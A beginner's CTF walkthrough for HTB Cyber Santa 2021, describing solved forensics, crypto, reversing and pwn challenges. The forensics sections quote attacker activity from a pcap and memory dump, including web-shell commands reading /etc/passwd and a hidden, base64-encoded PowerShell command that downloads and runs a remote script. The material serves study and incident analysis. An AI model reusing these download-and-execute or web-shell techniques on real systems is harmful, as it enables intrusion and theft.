Page cover

HTB Cyber Santa CTF 2021

This is my second CTF ever! And my humble attempt at creating a beginner friendly walkthrough :) ( This CTF is organized by Hack The Box from 1 Dec to 5 Dec 2021 )

Introduction

For this CTF organised by HackTheBox - Cyber Santa 2021 - I was really excited as this was my second time competing in a CTF. It was also fortunate that this event was individual, as I do not have a CTF team yet. Anyone interested in forming a team for CTFs in the future do comment and let me know! :)

For this CTF, there were the usual 5 categories:

  • Forensics

  • Reversing

  • Pwn

  • Crypto

  • Web

Screenshot of the beautiful UI and challenges

Through the entire challenge I only managed to solve 5 myself:

  • 0/5 Web : ( I have tried but got to admit I wasn't ready for web attacks, will be working more and releasing more content on this)

  • 2/5 Forensics : Baby APT & Giveaway

  • 1/5 Crypto : Common mistake

  • 1/5 Pwn : Mr Snowy

  • 1/5 Reversing : Infiltration

The sections below documents my exploits and walkthroughs for each of the solved challenges. I try to keep things short and simple to read, along with some learnings I picked up along the way. HTB did a really great job creating the challenges and integrating it with the storyline.

The rest of the challenges, I redid them in the after event with the help of walkthroughs from other people and took down my own notes for those. In no way do I claim credit for the scripts and such.

1. Forensics

Day 1 : baby APT

Challenge Info :

This is the most wonderful time of the year, but not for Santa's incident response team. Since Santa went digital, everyone can write a letter to him using his brand new website. Apparently an APT group hacked their way in to Santa's server and destroyed his present list. Could you investigate what happened?

Given : wireshark pcap file

- Walkthrough : Pure hard work for this

Logosimple-php-web-shell/index.php at master · artyuum/simple-php-web-shellGitHub
PHP Web shell used in this attack

Analyzing the main event flow:

  1. SYN ACK usual requests

  2. at packet 32 HTTP/1.1 200 OK we see the web page loaded (HTML page for Welcome to Christmas Wishlist)

  3. attacker tried to register on a form

After that some encrypted applicate data was sent via TLS Application data protocol : http-over-tls

Packet 64 : POST web shell via application form (user register form)

Packet 74 : GET /bg.php HTTP/1.1 ( to activate webshell)

Packet 76 : Webshell confirmed

Packet 133: Attacker tried to see "cat /etc/passwd" file using POST request

Packet 978 : groups

Packet 1024 : ls -al

Packet 1070 : View files on santa's web server

Packet 1132 : They destroyed his list (.ht.sqlite file) and put in a new one - config file or Advanced persistent threat etc.

2>&1 : direct errors to output

File descriptor 1 is the standard output (stdout). File descriptor 2 is the standard error (stderr).

Here is one way to remember this construct (although it is not entirely accurate): at first, 2>1 may look like a good way to redirect stderr to stdout. However, it will actually be interpreted as "redirect stderr to a file named 1". & indicates that what follows and precedes is a file descriptor and not a filename. So the construct becomes: 2>&1.

Consider >& as redirect merger operator.

I have no idea whats that long string

Packet 135 - response to cat /etc/passwd

Notes :

statistics> protocol hierachy > follow each protocol (plain text caught my eyes first)

  • evidence of web shell being used on http://christmaswishlist:8080/bg.php, santa's wishlist website

  • web shell seems to be from github/artyuum - basic PHP web shell

We get the flag from doing base 64 decode on the weird string:

Base64 encoded : SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59

Plain Text :

HTB{0k_n0w_3v3ry0n3_h4s_t0_dr0p_0ff_th3ir_l3tt3rs_4t_th3_p0st_0ff1c3_4g41n}

Day 2 : Honeypot

Given : honeypot data file presumably a memory dump

Credits to cryptocat, the following walkthrough is compiled from :

- Volatility tool for memory dump analysis

cmdline flag example

From the cmdline flag we see a line of interest :

powershell.exe pid: 2700 Command line : "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /window hidden /e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHcAaQBuAGQAbwB3AHMAbABpAHYAZQB1AHAAZABhAHQAZQByAC4AYwBvAG0ALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQApAA==

  • definitely looks like base64 encoded, decoding with cyberchef we get this string :

i.e.x. .(.(.n.e.w.-.o.b.j.e.c.t. .n.e.t...w.e.b.c.l.i.e.n.t.)...d.o.w.n.l.o.a.d.s.t.r.i.n.g.(.'.h.t.t.p.s.:././.w.i.n.d.o.w.s.l.i.v.e.u.p.d.a.t.e.r...c.o.m./.u.p.d.a.t.e...p.s.1.'.).).

  • now we use iehistory to check for downloads

We get the only suspicious URL related to christmas, this must be it!

https://windowsliveupdater.com/christmas_update.hta with a PID of 2700

  • now we use netscan to find the IP address, the last requirement :

netscan

Now we see a dead giveaway is the port 4444, commonly used for msfvenom payloads :

0x3ee98d80 TCPv4 10.0.2.15: 49229 (victim) 147.182.172.189:4444 (attacker's IP) ESTABLISHED -1

- The result

HTB{https://windowsliveupdater.com/christmas_update.hta_2700_147.182.172.189}

  • md5 the above in terminal and submit the hash

Day 3 : Persistence

When malicious actors get into a target, they want to stay there af

Day 4 : Giveaway

File given: Microsoft word 2007+ with macro enabled

Skill to learn revolved around malware analysis in macro enabled microsoft files, for this we use the tool olevba.

This is a good example walkthrough on analyzing the macro of a malicious document.

https://redcanary.com/blog/malicious-excel-macro/

LogoGitHub - decalage2/oletools: oletools - python tools to analyze MS OLE2 files (Structured Storage, Compound File Binary Format) and MS Office documents, for malware analysis, forensics and debugging.GitHub
Logooletools/cheatsheet/oletools_cheatsheet.pdf at master · decalage2/oletoolsGitHub

- Extract source code of the Macro using Olevba -c <.docm>

LogoTrojanDownloader:O97M/Bartallex.A threat description - Microsoft Security Intelligencewww.microsoft.com
We findut the main malware behind this macro

- Use VB Compiler to run the suspicious block code from VBA

For this I used VB Compiler

https://www.onlinegdb.com/online_vb_compiler

- The result

The present for christmas :)

2. Cryptography

Challenge info : Elves are trying very hard to communicate in perfect secrecy in order to keep Santa's warehouse. Unfortunately, their lack of knowledge about cryptography leads them to common mistakes.

Given : encrypted file with similar n , e1, e2, ct1 , ct2

Challenge file given shows values of n, e and ct (presumed to be cipher text, all in hexadecimal form). This challenge likely needs us to decipher RSA encryption using the given n and e, which are small (65537 and 35)

Day 1 : Common modulus attack

- Attack Script

LogoRSA decryption using only n e and cStack Overflow

Day 2 : XMAS Spirit

Given : encrypted text and a python encryption script

- Decryptor script

3. Web

Day 1 : Toy Workshop

Still in progress

Challenge states santa lost connection with the supervisor, hence zoom in on him.

- Sus files

  1. Docker file

build docker shell script

supervisor config file

4. Reversing

Day 1 : Infiltration (analyzing system calls from app)

Challenge Info : We got a hold of an internal communication tool being used by the elves, and managed to hook it up to their server. However, it won't let us see their secrets? Can you take a look inside?

Given: client file

- strace

HTB{n0t_qu1t3_s0_0p4qu3}

5. PWN

Day 1 : Mr Snowy (Buffer overflow)

Challenge info : There is ❄️ snow everywhere!! Kids are playing around, everything looks amazing. But, this ☃️ snowman... it scares me.. He is always 👀 staring at Santa's house. Something must be wrong with him.

Given : weird text file with gibberish and some hints

Navigating to the IP and port gives us an idea that we are supposed to connect into this server and feed commands in:

First we write a scritp to connect to the server and go into interactive mode :

We connected and tried option 2. Leave it alone, to see the game's response :

Now we try option 1 :

Seems like there's a password needed for deactivating! Most likely it is the flag

At this point we should be thinking of ways to crack past this, exactly , the standard buffer overflow. Lets try feeding excess inputs char in instead of '1's or '2's

Using the write script we managed to get the password :

HTB{n1c3_try_3lv35_but_n0t_g00d_3n0ugh}

PreviousCapture the Flags (CTF)NextRevision of Challenges

Last updated